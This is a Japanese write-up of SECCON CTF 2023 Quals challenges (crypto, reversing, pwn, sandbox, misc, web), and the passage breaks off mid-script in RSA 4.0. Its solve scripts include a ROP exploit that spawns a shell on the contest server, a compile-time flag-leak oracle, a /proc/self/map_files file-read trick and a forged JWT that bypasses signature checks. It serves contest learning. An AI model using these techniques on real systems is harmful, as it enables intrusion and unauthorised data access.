はじめに
hiikunZです。普段は高校生活をしていたり1競技プログラミングをしたりしています。
SECCON CTF 2023 Quals にチーム 「BeginnersSec」で参加して、Welcome 以外の全てを担当しました。
結果は 世界51位・国内14位 でした。
かなり高順位で嬉しかったので Writeup を書きます。
plai_n_rsa (crypto)
問題
I've dropped the "n" ... where is my "n" :(
import os
from Crypto.Util.number import bytes_to_long, getPrime
flag = os.getenvb(b"FLAG", b"SECCON{THIS_IS_FAKE}")
assert flag.startswith(b"SECCON{")
m = bytes_to_long(flag)
e = 0x10001
p = getPrime(1024)
q = getPrime(1024)
n = p * q
e = 65537
phi = (p-1)*(q-1)
d = pow(e, -1, phi)
hint = p+q
c = pow(m,e,n)
print(f"e={e}")
print(f"d={d}")
print(f"hint={hint}")
print(f"c={c}")
e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813
解法
$ed \equiv 1 \bmod (p-1)(q-1)$ を利用します。
このときある自然数 $x$ について $ed - 1 = x(p-1)(q-1)$ …☆ が成立します。
ここで、$(p-1)(q-1) = pq - (p+q) + 1$ を式変形すると、
$\frac{ed - 1}{x} = pq - \text{hint} + 1$ ($\because$ ☆$, \text{hint}=p+q$)
$pq = \frac{ed - 1}{x} + \text{hint} - 1$ となり、$pq$ が求められ、あとは秘密鍵がわかっているので普通のRSA暗号です。
$x$ は $ed - 1$ の約数のうちかなり小さいものなので、全探索することができます。
from Crypto.Util.number import *
e=65537
d=15353693384417089838724462548624665131984541847837698089157240133474013117762978616666693401860905655963327632448623455383380954863892476195097282728814827543900228088193570410336161860174277615946002137912428944732371746227020712674976297289176836843640091584337495338101474604288961147324379580088173382908779460843227208627086880126290639711592345543346940221730622306467346257744243136122427524303881976859137700891744052274657401050973668524557242083584193692826433940069148960314888969312277717419260452255851900683129483765765679159138030020213831221144899328188412603141096814132194067023700444075607645059793
hint=275283221549738046345918168846641811313380618998221352140350570432714307281165805636851656302966169945585002477544100664479545771828799856955454062819317543203364336967894150765237798162853443692451109345096413650403488959887587524671632723079836454946011490118632739774018505384238035279207770245283729785148
c=8886475661097818039066941589615421186081120873494216719709365309402150643930242604194319283606485508450705024002429584410440203415990175581398430415621156767275792997271367757163480361466096219943197979148150607711332505026324163525477415452796059295609690271141521528116799770835194738989305897474856228866459232100638048610347607923061496926398910241473920007677045790186229028825033878826280815810993961703594770572708574523213733640930273501406675234173813473008872562157659306181281292203417508382016007143058555525203094236927290804729068748715105735023514403359232769760857994195163746288848235503985114734813
for x in range(1,200000):
if (e*d-1) % x != 0:
continue
n = (e*d-1)//x + hint - 1
m = pow(c,d,n)
flag = long_to_bytes(m)
if flag.startswith(b"SECCON{"):
print(flag)
break
flag
SECCON{thank_you_for_finding_my_n!!!_GOOD_LUCK_IN_SECCON_CTF}
jumpout (reversing)
問題
Sequential execution
コンパイルされたファイルが渡さるので、reversing してくださいという問題です。
解法
Ghidra でデコンパイルすると、xor 暗号っぽい関数が見つかりました。
param_1
: 入力
param_2
: index
だと予想して解くと、うまくいきません。
よく見ると、.data
セクションに DAT_00104010
以外に DAT_00104030
というデータがありました。
エスパーしてこれも xor したら flag が得られてしまいました。
DAT_00104010 = b'\xf6\xf5\x31\xc8\x81\x15\x14\x68\xf6\x35\xe5\x3e\x82\x09\xca\xf1\x8a\xa9\xdf\xdf\x33\x2a\x6d\x81\xf5\xa6\x85\xdf\x17'
DAT_00104030 = b'\xf0\xe4\x25\xdd\x9f\x0b\x3c\x50\xde\x04\xca\x3f\xaf\x30\xf3\xc7\xaa\xb2\xfd\xef\x17\x18\x57\xb4\xd0\x8f\xb8\xf4\x23'
flag = ""
for i in range(len(DAT_00104010)):
flag += chr(i ^ 0x55 ^ DAT_00104010[i] ^ DAT_00104030[i])
print(flag)
flag
SECCON{jump_table_everywhere}
rop-2.35 (pwnable)
問題
The number of ROP gadgets is declining worldwide.
#include <stdio.h>
#include <stdlib.h>
void main() {
char buf[0x10];
system("echo Enter something:");
gets(buf);
}
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
解答
自明な Buffer overflow 脆弱性がり、No PIE かつ canary がないので、簡単に ROP ができます。
system
関数は main
内にあるので、GOT Table にアクセスすればいい… と思いましたが、 rdi
をうまく制御できません。
0x401156 <+0>: endbr64
0x40115a <+4>: push rbp
0x40115b <+5>: mov rbp,rsp
0x40115e <+8>: sub rsp,0x10
0x401162 <+12>: lea rax,[rip+0xe9b] # 0x402004
0x401169 <+19>: mov rdi,rax
0x40116c <+22>: call 0x401050 <system@plt>
0x401171 <+27>: lea rax,[rbp-0x10]
0x401175 <+31>: mov rdi,rax
0x401178 <+34>: mov eax,0x0
0x40117d <+39>: call 0x401060 <gets@plt>
0x401182 <+44>: nop
0x401183 <+45>: leave
0x401184 <+46>: ret
ここで、main
内の 0x401169
に飛ばせば、rdi
の値を rax
の値で置き換えられることを思いつきます。
都合のいいことに、main
から ret
するときに rax
は入力した場所のアドレスです。 (gets
の戻り値なので)
これでうまくいくかと思いきや、うまくいきません。dbg で確認すると、入力した場所の内容が system
内で書き換わってしまっています。(rsp
よりも上にあるので、system
内のローカル変数として利用されてしまう)
rsp
を書き換えられるような ROP gadget がないか探すと、ありました。
0x401016: add rsp, 0x08 ; ret ;
これを使えば、rsp
を動かし、入力した場所が書き換えられないようにできます。
(2 回呼び出せば、いい感じに動いてくれました)
from pwn import *
import sys
FILENAME = "./chall"
host = "rop-2-35.seccon.games"
port = 9999
context(os='linux', arch='x86_64')
context.log_level = 'info'
if len(sys.argv) > 1:
if sys.argv[1][0] == "d":
cmd = """
set follow-fork-mode parent
"""
c = gdb.debug(FILENAME, cmd)
elif sys.argv[1][0] == "r":
c = remote(host,port)
else:
print("Invalid option")
sys.exit(0)
else:
c = process(FILENAME)
c.recvuntil(b":")
payload = b"/bin/sh\x00" # buf
payload += p64(0x0) # buf
payload += p64(0x1) # saved rbp
payload += p64(0x401016) # add rsp, 0x08 ; ret ;
payload += p64(0xdeadbeef) # rsp がズレたのでここは読まれない
payload += p64(0x401016) # add rsp, 0x08 ; ret ;
payload += p64(0xdeadbeef) # rsp がズレたのでここは読まれない
payload += p64(0x401169) # <main+19>
c.sendline(payload)
c.interactive()
flag
SECCON{i_miss_you_libc_csu_init_:cry:}
crabox (sandbox)
問題
🦀 Compile-Time Sandbox Escape 🦀
import sys
import re
import os
import subprocess
import tempfile
FLAG = os.environ["FLAG"]
assert re.fullmatch(r"SECCON{[_a-z0-9]+}", FLAG)
os.environ.pop("FLAG")
TEMPLATE = """
fn main() {
{{YOUR_PROGRAM}}
/* Steal me: {{FLAG}} */
}
""".strip()
print("""
🦀 Compile-Time Sandbox Escape 🦀
Input your program (the last line must start with __EOF__):
""".strip(), flush=True)
program = ""
while True:
line = sys.stdin.readline()
if line.startswith("__EOF__"):
break
program += line
if len(program) > 512:
print("Your program is too long. Bye👋".strip())
exit(1)
source = TEMPLATE.replace("{{FLAG}}", FLAG).replace("{{YOUR_PROGRAM}}", program)
with tempfile.NamedTemporaryFile(suffix=".rs") as file:
file.write(source.encode())
file.flush()
try:
proc = subprocess.run(
["rustc", file.name],
cwd="/tmp",
stdout=subprocess.DEVNULL,
stderr=subprocess.DEVNULL,
timeout=2,
)
print(":)" if proc.returncode == 0 else ":(")
except subprocess.TimeoutExpired:
print("timeout")
解法
rust のコンパイルをしてくれて、コンパイルに成功したかどうかを教えてくれるようです。
ソースコード内のコメントにフラグがあるので、読み出せればクリアのようです。
とりあえず「rust マクロ」とかで検索してこの記事 を見つけました。
試行錯誤を重ねた結果2、include_bytes!
と file!
を使うことで、
fn main() {
}const d:u8=1/(include_bytes!(file!())[x]&(1<<i));fn hoge(){
/* Steal me: SECCON{dummy} */
}
のようにすることで、ゼロ除算が発生したかどうかでソースコードの x
文字目の i
bit 目を知ることができるとわかりました。
あとは自動化すると、フラグが得られました。
from pwn import *
host = "crabox.seccon.games"
port = 1337
flag = "SECCON{"
for x in range(98 + len(flag),150):
r = 0
for i in range(0,8):
c = remote(host,port)
c.recvuntil(b"with __EOF__):")
p = "}const d:u8=1/(include_bytes!(file!())[" + str(x) + "]&(1<<" + str(i) + "));fn hoge(){"
c.sendline(p)
c.sendline(b"__EOF__")
c.recvuntil(b":")
res = chr(c.recvline()[0])
if res == ')':
r |= (1 << i)
c.close()
flag += chr(r)
print(flag)
if flag[-1] == '}':
break
flag
SECCON{ctfe_i5_p0w3rful}
readme 2023 (misc)
問題
Can you read the flag?
import mmap
import os
import signal
signal.alarm(60)
try:
f = open("./flag.txt", "r")
mm = mmap.mmap(f.fileno(), 0, prot=mmap.PROT_READ)
except FileNotFoundError:
print("[-] Flag does not exist")
exit(1)
while True:
path = input("path: ")
if 'flag.txt' in path:
print("[-] Path not allowed")
exit(1)
elif 'fd' in path:
print("[-] No more fd trick ;)")
exit(1)
with open(os.path.realpath(path), "rb") as f:
print(f.read(0x100))
解法
とりあえず server.py を改造して、/proc/self
に便利なものがないか探すと、
/proc/self/map_files/558c0a022000-558c0a023000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a023000-558c0a024000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a024000-558c0a025000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a025000-558c0a026000 /usr/local/bin/python3.11
/proc/self/map_files/558c0a026000-558c0a027000 /usr/local/bin/python3.11
/proc/self/map_files/7f9ee08ed000-7f9ee08ef000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08ef000-7f9ee08f1000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f1000-7f9ee08f3000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f3000-7f9ee08f4000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee08f4000-7f9ee08f5000 /usr/local/lib/python3.11/lib-dynload/mmap.cpython-311-x86_64-linux-gnu.so
/proc/self/map_files/7f9ee0b5b000-7f9ee0b62000 /usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
/proc/self/map_files/7f9ee0b62000-7f9ee0bb9000 /usr/lib/locale/C.utf8/LC_CTYPE
/proc/self/map_files/7f9ee0bbb000-7f9ee0bcb000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0bcb000-7f9ee0c3e000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c3e000-7f9ee0c98000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c98000-7f9ee0c99000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c99000-7f9ee0c9a000 /usr/lib/x86_64-linux-gnu/libm.so.6
/proc/self/map_files/7f9ee0c9a000-7f9ee0cc0000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0cc0000-7f9ee0e15000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e15000-7f9ee0e68000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e68000-7f9ee0e6c000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e6c000-7f9ee0e6e000 /usr/lib/x86_64-linux-gnu/libc.so.6
/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000 /home/ctf/flag.txt
/proc/self/map_files/7f9ee0e7d000-7f9ee0f6b000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee0f6b000-7f9ee111f000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee111f000-7f9ee1202000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1202000-7f9ee1231000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee1231000-7f9ee1362000 /usr/local/lib/libpython3.11.so.1.0
/proc/self/map_files/7f9ee13a7000-7f9ee13a8000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13a8000-7f9ee13cd000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13cd000-7f9ee13d7000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d7000-7f9ee13d9000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee13d9000-7f9ee13db000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
/proc/self/map_files/7f9ee0e7c000-7f9ee0e7d000
が flag.txt
に繋がっていました。
ただ、このファイル名は固定値ではないようなので、このファイル名を推測する必要があります。
google で調べると、/proc/self/maps
に書いてあるとわかりましたが、このサーバーはファイルの先頭 0x100
バイトしか教えてくれないので、うまくいきません。
さらに /proc/self
内をいろいろ漁ると、/proc/self/syscall
にそれっぽいアドレスがありました。
0 0x3 0x558c0ab365d0 0x400 0x2 0x0 0x0 0x7fff0df05dc8 0x7f9ee0d9207d
最後のアドレスが、/usr/lib/x86_64-linux-gnu/libc.so.6
内のどこかを指していて、これと flag.txt
がある場所のオフセットは常に一定だったので、あとはいい感じにやると flag.txt
が読めました。
(実機でやってうまくいかず悩んでいましたが、docker の中でやるとうまくいきました。)
from pwn import *
host = "readme-2023.seccon.games"
port = 2023
flag = "SECCON{"
c = remote(host,port)
c.recvuntil(b"path: ")
c.sendline(b"/proc/self/syscall")
flagaddr = int(c.recvline().split()[-1][2:-3],16) - 0x7f9ee0d9207d + 0x7f9ee0e7c000
p = "/proc/self/map_files/" + hex(flagaddr)[2:] + "-" + hex(flagaddr + 0x1000)[2:]
c.recvuntil(b"path: ")
c.sendline(p.encode())
c.interactive()
flag
SECCON{y3t_4n0th3r_pr0cf5_tr1ck:)}
Bad JWT (web)
問題
I think this JWT implementation is not bad.
const crypto = require('crypto');
const base64UrlEncode = (str) => {
return Buffer.from(str)
.toString('base64')
.replace(/=*$/g, '')
.replace(/\+/g, '-')
.replace(/\//g, '_');
}
const base64UrlDecode = (str) => {
return Buffer.from(str, 'base64').toString();
}
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
const stringifyPart = (obj) => {
return base64UrlEncode(JSON.stringify(obj));
}
const parsePart = (str) => {
return JSON.parse(base64UrlDecode(str));
}
const createSignature = (header, payload, secret) => {
const data = `${stringifyPart(header)}.${stringifyPart(payload)}`;
const signature = algorithms[header.alg.toLowerCase()](data, secret);
return signature;
}
const parseToken = (token) => {
const parts = token.split('.');
if (parts.length !== 3) throw Error('Invalid JWT format');
const [ header, payload, signature ] = parts;
const parsedHeader = parsePart(header);
const parsedPayload = parsePart(payload);
return { header: parsedHeader, payload: parsedPayload, signature }
}
const sign = (alg, payload, secret) => {
const header = {
typ: 'JWT',
alg: alg
}
const signature = createSignature(header, payload, secret);
const token = `${stringifyPart(header)}.${stringifyPart(payload)}.${signature}`;
return token;
}
const verify = (token, secret) => {
const { header, payload, signature: expected_signature } = parseToken(token);
const calculated_signature = createSignature(header, payload, secret);
const calculated_buf = Buffer.from(calculated_signature, 'base64');
const expected_buf = Buffer.from(expected_signature, 'base64');
if (Buffer.compare(calculated_buf, expected_buf) !== 0) {
throw Error('Invalid signature');
}
return payload;
}
module.exports = { sign, verify }
const FLAG = process.env.FLAG ?? 'SECCON{dummy}';
const PORT = '3000';;
const express = require('express');
const cookieParser = require('cookie-parser');
const jwt = require('./jwt');
const app = express();
app.use(express.urlencoded({ extended: false }));
app.use(cookieParser());
const secret = require('crypto').randomBytes(32).toString('hex');
app.use((req, res, next) => {
try {
const token = req.cookies.session;
const payload = jwt.verify(token, secret);
req.session = payload;
} catch (e) {
console.log(e);
return res.status(400).send('Authentication failed');
}
return next();
})
app.get('/', (req, res) => {
if (req.session.isAdmin === true) {
return res.send(FLAG);
} else {
return res.status().send('You are not admin!');
}
});
app.listen(PORT, () => {
const admin_session = jwt.sign('HS512', { isAdmin: true }, secret);
console.log(`[INFO] Use ${admin_session} as session cookie`);
console.log(`Challenge server listening on port ${PORT}`);
});
解法
試行錯誤していると、この部分が怪しく見えてきます。
const algorithms = {
hs256: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha256', secret).update(data).digest()),
hs512: (data, secret) =>
base64UrlEncode(crypto.createHmac('sha512', secret).update(data).digest()),
}
そういえば、こういうのには __proto__
があったよな…と思い、 alg
を __proto__
にしてアクセスしてみると、__proto__
にアクセスできたはいいものの、そこから先に進めません。
ここで、ブラウザの javascript コンソールで試すと、たくさん使えそうなものが出てきました。
しかし、
const signature = algorithms[header.alg.toLowerCase()](data, secret);
というようにアクセスしているので、英大文字が含まれていると使えません。
となると constructor
しか使えなさそうです。
これを調べると、嬉しいことに
algorithms["constructor"](data, secret)
は data
を返してくれるとわかるので、
{"typ":"JWT","alg":"constructor"}
と {"isAdmin":true}
から jwt を生成します。
eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9.eyJpc0FkbWluIjp0cnVlfQ.eyJ0eXAiOiJKV1QiLCJhbGciOiJjb25zdHJ1Y3RvciJ9eyJpc0FkbWluIjp0cnVlfQ
前から、{"typ":"JWT","alg":"constructor"}
(base64)、{"isAdmin":true}
(base64)、 前2つを連結したもの です。
この jwt を session
cookie に入れてアクセスすると、フラグが得られました。
flag
SECCON{Map_and_Object.prototype.hasOwnproperty_are_good}
RSA 4.0 (crypto)
問題
A new era has come, RSA 4.0!
import os
from Crypto.Util.number import bytes_to_long, getStrongPrime
m = bytes_to_long(os.getenvb(b"FLAG", b"FAKEFLAG{THIS_IS_FAKE}"))
e = 0x10001
p = getStrongPrime(1024, e=e)
q = getStrongPrime(1024, e=e)
n = p * q
assert m < n
Q = QuaternionAlgebra(Zmod(n), -1, -1)
i, j, k = Q.gens()
enc = (
1 * m
+ (3 * m + 1 * p + 337 * q) * i
+ (3 * m + 13 * p + 37 * q) * j
+ (7 * m + 133 * p + 7 * q) * k
) ** e
print(f"{n = }")
print(f"{e = }")
print(f"{enc = }")
n = 24872021325220256807454685550051664385270234794214413640899222873349265041897698942179745264628886444843936788046461273130347947293134447971213366009115689414264642605438643804813680767747014691971929645215382160557083245742340043385689944268138610186373780437485231877752933652320663858810427971106170059463601595006391073927194512124601928964813763052148657220845548046841237699017168286609835799813635564372682635612722890934578765797156432068449168053296617922489740666171866398517122799604532749283529271598232365042243492016089416298371516093933466381558297769513544950617454777689674801163035308121219081809467
e = 65537
enc = 3859728242860779998500245827824643011031182038976286035325209177561306523157077514772157957170475592309362631020979427907103610597898945426993614901767468098095010971836640454364234772978503167875298045774311291740824611786880849602974611016313651468361669338020331880259928969457255469579663017102640555015734482731890405522757985802082583300838209107911617815694578975817745782743203495107318667111104882994250616348383832987201616468973995462070255337923156614148218730987307161335625736122244817469974403678460213399052200814122255105544573927370423504309249212003649608881714115802854352284801298522985364992841 + 6689400988469336941290409439097720802889756496874465514203924923612416113717282667321908985103298019191113140239387801253466762593814350435047233088038044902433467651291903183405705080977679431528198024945921265445106468212962845547091599919008352051426009980329461007763212773358809391005850095961625042930422795445326743156495371981183105369799111219324695409896763869363969605501957524747716457126557615625815503861788352889135785579006785498195231741997934782780728866125488514068411960643904511224086647859058006472875473225695641287267610159704735294148907843394274092665622496223560673920367014991704447470344*i + 1425535224682533054692632153056888664907065024789232886308473909082337416786879221014972907213731240332278899126018247174859147121923692024420221262194523422785798197856518206508716047860471557004098274123870337912664160290690918788335238938208868363602574049572982498078216870780634694750710402353203621500287688744360281985793220035763469368517282385600578060642616443360598043313771383051760844966304306373372936321033698037647769588864584716070117876256372995523669859957654373351077969273910814003682705611267982200795979916283790161349821926490496096284763527696746485527643315156665082531990553153495043841613*j + 16939641902797542358954398454693773109828645853205801192220966778707379690160425812357360275630857752612391129705744211238057564114356027205464621658979245715243171261351328848491885377078864601014889472906967998503454246639030025900184373900964200415367983329654223213873342814827852864400395905048614694659842857369371845184915252563533413447471945691935551119149323541065035997716667873333295568018189682043599379592763126488255877418142891649422421776838694214872296853180292491137387225104189612300121323951103544193685306688963647668884425837634374966829437978854408218992213680164673972942664618735198830200420*k
解法
よくわからないので、sympy.var
を使って、 $e$ が小さい時で実験してみます。
このために四元数の class を実装しました。3
import sympy
sympy.var('m,p,q')
class Quaternion:
def __init__(self, w,i,j,k):
self.w = w
self.i = i
self.j = j
self.k = k
# 出力
def __str__(self):
return f"({self.w.factor()}) + \n({self.i.factor()})i + \n({self.j.factor()})j + \n({self.k.factor()})k"
# 掛け算
def __mul__(self, other):
neww = self.w*other.w - self.i*other.i - self.j*other.j - self.k*other.k
newi = self.w*other.i + self.i*other.w + self.j*other.k - self.k*other.j
newj = self.w*other.j - self.i*other.k + self.j*other.w + self.k*other.i
newk = self.w*other.k + self.i*other.j - self.j*other.i + self.k*other.w
return Quaternion(neww.subs(p*q, 0), newi.subs(p*q, 0), newj.subs(p*q, 0), newk.subs(p*q, 0))
# 累乗
def __pow__(self, n):
if n == 0:
return Quaternion(1,0,0,0)
elif n % 2 == 0:
return (self * self) ** (n//2)
else:
return self * (self * self) ** (n//2)
e = 3
quat = Quaternion(1 * m,3 * m + 1 * p + 337 * q,3 * m + 13 * p + 37 * q ,7 * m + 133 * p + 7 * q) ** e
print(quat)
(-m*(200*m**2 + 5838*m*p + 7026*m*q + 53577*p**2 + 10494*p*q + 344961*q**2)) +
(-(3*m + p + 337*q)*(64*m**2 + 1946*m*p + 2342*m*q + 17859*p**2 + 3498*p*q + 114987*q**2))i +
(-(3*m + 13*p + 37*q)*(64*m**2 + 1946*m*p + 2342*m*q + 17859*p**2 + 3498*p*q + 114987*q**2))j +
(-7*(m + 19*p + q)*(64*m**2 + 1946*m*p + 2342*m*q + 17859*p**2 + 3498*p*q + 114987*q**2))k
(以下、$\text{enc} = a + bi + cj + dk$ $(a,b,c,d\in\mathbb{R})$ とします。)
結果を観察すると、
$-(64m^2 + 1946mp + 2342mq + 17859p^2 + 3498pq + 114987q^2) = X$ として、
$b = (3m + p + 337q)\times X$
$c = (3m + 13p + 37q)\times X$
$d = (7m + 133p + 7q)\times X$
と表せそうです。
$e = 65537$ の場合でもこれを満たす $X$ が存在すると考えられます。
このとき、
- $3x + 3y + 7z = 0$
- $x + 13y + 133z = 1$
- $337x + 37y + 7z = 0$
を満たす $x,y,z$ に対して $bx+cy+dz = p \times X$ が成立します。
あとは、$\gcd(p \times X,n) = p$ から $p$ を、$n = pq$ から $q$ を求めることができます。
上の連立方程式の解は $x = \frac{17}{6396}, y = -\frac{167}{6396}, z = \frac{75}{7462}$なので4、次のようなコードで $p,q$ を求めることができます。
import math
n = 24872021325220256807454685550051664385270234794214413640899222873349265041897698942179745264628886444843936788046461273130347947293134447971213366009115689414264642605438643804813680767747014691971929645215382160557083245742340043385689944268138610186373780437485231877752933652320663858810427971106170059463601595006391073927194512124601928964813763052148657220845548046841237699017168286609835799813635564372682635612722890934578765797156432068449168053296617922489740666171866398517122799604532749283529271598232365042243492016089416298371516093933466381558297769513544950617454777689674801163035308121219081809467
e = 65537
a = 3859728242860779998500245827824643011031182038976286035325209177561306523157077514772157957170475592309362631020979427907103610597898945426993614901767468098095010971836640454364234772978503167875298045774311291740824611786880849602974611016313651468361669338020331880259928969457255469579663017102640555015734482731890405522757985802082583300838209107911617815694578975817745782743203495107318667111104882994250616348383832987201616468973995462070255337923156614148218730987307161335625736122244817469974403678460213399052200814122255105544573927370423504309249212003649608881714115802854352284801298522985364992841
b = 6689400988469336941290409439097720802889756496874465514203924923612416113717282667321908985103298019191113140239387801253466762593814350435047233088038044902433467651291903183405705080977679431528198024945921265445106468212962845547091599919008352051426009980329461007763212773358809391005850095961625042930422795445326743156495371981183105369799111219324695409896763869363969605501957524747716457126557615625815503861788352889135785579006785498195231741997934782780728866125488514068411960643904511224086647859058006472875473225695641287267610159704735294148907843394274092665622496223560673920367014991704447470344
c = 1425535224682533054692632153056888664907065024789232886308473909082337416786879221014972907213731240332278899126018247174859147121923692024420221262194523422785798197856518206508716047860471557004098274123870337912664160290690918788335238938208868363602574049572982498078216870780634694750710402353203621500287688744360281985793220035763469368517282385600578060642616443360598043313771383051760844966304306373372936321033698037647769588864584716070117876256372995523669859957654373351077969273910814003682705611267982200795979916283790161349821926490496096284763527696746485527643315156665082531990553153495043841613
d = 16939641902797542358954398454693773109828645853205801192220966778707379690160425812357360275630857752612391129705744211238057564114356027205464621658979245715243171261351328848491885377078864601014889472906967998503454246639030025900184373900964200415367983329654223213873342814827852864400395905048614694659842857369371845184915252563533413447471945691935551119149323541065035997716667873333295568018189682043599379592763126488255877418142891649422421776838694214872296853180292491137387225104189612300121323951103544193685306688963647668884425837634374966829437978854408218992213680164673972942664618735198830200420
x = 17*pow(6396,-1,n)
y = -167*pow(6396,-1,n)
z = 75*pow(7462,-1,n)
p = math.gcd(b*x+c*y+d*z,n)
q = n // p
assert(p * q == n)
print("p =",p)
print("q =",q)
$p,q$ がわかったので、$X$ を求めます。
拡張ユーグリットの互除法で $Ap + Bq = 1$ となる A,B を求めた上で、
- $3x + 3y + 7z = 0$
- $x + 13y + 133z = A$
- $337x + 37y + 7z = B$
となるような $x,y,z$ を用いると、同様に $X$ がわかります。
さらに、
- $3x + 3y + 7z = 1$
- $x + 13y + 133z = 0$
- $337x + 37y + 7z = 0$
となるような $x,y,z$ を用いることで、 $m \times X$ もわかります。
あとは $m = \frac{m \times X}{X}$ から、$m$ を求めることができます。
from Crypto.Util.number import *
import math
n = 24872021325220256807454685550051664385270234794214413640899222873349265041897698942179745264628886444843936788046461273130347947293134447971213366009115689414264642605438643804813680767747014691971929645215382160557083245742340043385689944268138610186373780437485231877752933652320663858810427971106170059463601595006391073927194512124601928964813763052148657220845548046841237699017168286609835799813635564372682635612722890934578765797156432068449168053296617922489740666171866398517122799604532749283529271598232365042243492016089416298371516093933466381558297769513544950617454777689674801163035308121219081809467
e = 65537
a = 3859728242860779998500245827824643011031182038976286035325209177561306523157077514772157957170475592309362631020979427907103610597898945426993614901767468098095010971836640454364234772978503167875298045774311291740824611786880849602974611016313651468361669338020331880259928969457255469579663017102640555015734482731890405522757985802082583300838209107911617815694578975817745782743203495107318667111104882994250616348383832987201616468973995462070255337923156614148218730987307161335625736122244817469974403678460213399052200814122255105544573927370423504309249212003649608881714115802854352284801298522985364992841
b = 6689400988469336941290409439097720802889756496874465514203924923612416113717282667321908985103298019191113140239387801253466762593814350435047233088038044902433467651291903183405705080977679431528198024945921265445106468212962845547091599919008352051426009980329461007763212773358809391005850095961625042930422795445326743156495371981183105369799111219324695409896763869363969605501957524747716457126557615625815503861788352889135785579006785498195231741997934782780728866125488514068411960643904511224086647859058006472875473225695641287267610159704735294148907843394274092665622496223560673920367014991704447470344
c = 1425535224682533054692632153056888664907065024789232886308473909082337416786879221014972907213731240332278899126018247174859147121923692024420221262194523422785798197856518206508716047860471557004098274123870337912664160290690918788335238938208868363602574049572982498078216870780634694750710402353203621500287688744360281985793220035763469368517282385600578060642616443360598043313771383051760844966304306373372936321033698037647769588864584716070117876256372995523669859957654373351077969273910814003682705611267982200795979916283790161349821926490496096284763527696746485527643315156665082531990553153495043841613
d = 16939641902797542358954398454693773109828645853205801192220966778707379690160425812357360275630857752612391129705744211238057564114356027205464621658979245715243171261351328848491885377078864601014889472906967998503454246639030025900184373900964200415367983329654223213873342814827852864400395905048614694659842857369371845184915252563533413447471945691935551119149323541065035997716667873333295568018189682043599379592763126488255877418142891649422421776838694214872296853180292491137387225104189612300121323951103544193685306688963647668884425837634374966829437978854408218992213680164673972942664618735198830200420
x = 7049028611791788416527503767299980833321921650481226830932534653625257422176384144719911602909797120284285091830806114062950348160008190664321577663871563837270267155550634304964856597253208412711703848917667823991955970386527486366865185316802697814003588828834002848101853548538063583250247713915815836305*pow(2132,-1,n)
y = 1445756961884039688206006403016605462701443924280141487433975857490984874074679370091427168824979018044486406100455879523760143627951139508512981298995568724169767629298108686532578073932766969890808816742251917844773560133362140668647020713495750730897281940486267010015313369153151530829014747374355143674997*pow(2132,-1,n)
z = -311315569391963887847685837167979737900306966985133438771051798316702171035040518764888660091690460392450862398347146922390662994880960221252279187855594347430079549240069854465187770827861466779325825840964911214735467736517571747502975549745547163295275470567521645613588976293219198802628213233200919895279*pow(1066,-1,n)
X = (b*x+c*y+d*z) % n
print("X =",X)
x = -115*pow(2132,-1,n)
y = 1067*pow(2132,-1,n)
z = -181*pow(3731,-1,n)
